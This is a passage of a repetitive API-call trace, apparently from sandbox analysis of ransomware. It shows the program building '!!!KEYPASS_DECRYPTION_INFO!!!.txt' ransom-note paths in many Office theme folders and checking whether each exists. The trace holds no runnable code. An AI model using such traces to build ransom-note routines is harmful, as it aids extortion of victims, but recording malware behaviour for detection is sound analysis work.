returned 0x0 [0276.011] GetLastError () returned 0x3f0 [0276.011] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.011] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.011] GetFileType (hFile=0x175c) returned 0x1 [0276.012] CloseHandle (hObject=0x175c) returned 1 [0276.013] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.013] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.013] GetLastError () returned 0x3f0 [0276.013] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.013] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.014] GetFileType (hFile=0x1760) returned 0x1 [0276.015] CloseHandle (hObject=0x1760) returned 1 [0276.015] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.015] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.015] GetLastError () returned 0x3f0 [0276.015] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.015] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.016] GetFileType (hFile=0x1764) returned 0x1 [0276.017] CloseHandle (hObject=0x1764) returned 1 [0276.017] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.018] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.018] GetLastError () returned 0x3f0 [0276.018] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.018] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.018] GetFileType (hFile=0x1768) returned 0x1 [0276.019] CloseHandle (hObject=0x1768) returned 1 [0276.019] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.019] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.019] GetLastError () returned 0x3f0 [0276.019] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.019] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.020] GetFileType (hFile=0x176c) returned 0x1 [0276.021] CloseHandle (hObject=0x176c) returned 1 [0276.021] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.021] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.022] GetLastError () returned 0x3f0 [0276.022] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.022] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.023] GetFileType (hFile=0x1774) returned 0x1 [0276.024] CloseHandle (hObject=0x1774) returned 1 [0276.024] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.024] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.024] GetLastError () returned 0x3f0 [0276.025] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.025] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.025] GetFileType (hFile=0x1778) returned 0x1 [0276.026] CloseHandle (hObject=0x1778) returned 1 [0276.026] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.026] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.026] GetLastError () returned 0x3f0 [0276.026] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.026] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.027] GetFileType (hFile=0x177c) returned 0x1 [0276.028] CloseHandle (hObject=0x177c) returned 1 [0276.028] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.028] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.029] GetLastError () returned 0x3f0 [0276.029] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.029] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.029] GetFileType (hFile=0x1780) returned 0x1 [0276.030] CloseHandle (hObject=0x1780) returned 1 [0276.030] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.030] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.030] GetLastError () returned 0x3f0 [0276.030] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.030] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.031] GetFileType (hFile=0x1784) returned 0x1 [0276.032] CloseHandle (hObject=0x1784) returned 1 [0276.032] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.032] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.032] GetLastError () returned 0x3f0 [0276.032] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.032] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.033] GetFileType (hFile=0x1788) returned 0x1 [0276.034] CloseHandle (hObject=0x1788) returned 1 [0276.034] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.034] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.034] GetLastError () returned 0x3f0 [0276.034] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.034] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.035] GetFileType (hFile=0x178c) returned 0x1 [0276.036] CloseHandle (hObject=0x178c) returned 1 [0276.036] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.036] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.036] GetLastError () returned 0x3f0 [0276.036] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.036] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.037] GetFileType (hFile=0x1790) returned 0x1 [0276.038] CloseHandle (hObject=0x1790) returned 1 [0276.038] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.038] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.038] GetLastError () returned 0x3f0 [0276.038] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.038] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.039] GetFileType (hFile=0x1794) returned 0x1 [0276.039] CloseHandle (hObject=0x1794) returned 1 [0276.040] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.040] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.040] GetLastError () returned 0x3f0 [0276.040] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.040] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.040] GetFileType (hFile=0x1798) returned 0x1 [0276.041] CloseHandle (hObject=0x1798) returned 1 [0276.041] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.041] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.042] GetLastError () returned 0x3f0 [0276.042] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.042] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.042] GetFileType (hFile=0x179c) returned 0x1 [0276.043] CloseHandle (hObject=0x179c) returned 1 [0276.043] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.043] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.043] GetLastError () returned 0x3f0 [0276.043] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.043] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.044] GetFileType (hFile=0x17a0) returned 0x1 [0276.045] CloseHandle (hObject=0x17a0) returned 1 [0276.045] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.045] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.045] GetLastError () returned 0x3f0 [0276.045] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.045] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.045] GetFileType (hFile=0x17a4) returned 0x1 [0276.046] CloseHandle (hObject=0x17a4) returned 1 [0276.046] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.047] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.047] GetLastError () returned 0x3f0 [0276.047] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.047] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.048] GetFileType (hFile=0x1770) returned 0x1 [0276.049] CloseHandle (hObject=0x1770) returned 1 [0276.049] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.049] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.049] GetLastError () returned 0x3f0 [0276.049] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.049] PathFileExistsW (pszPath="C:\\Program 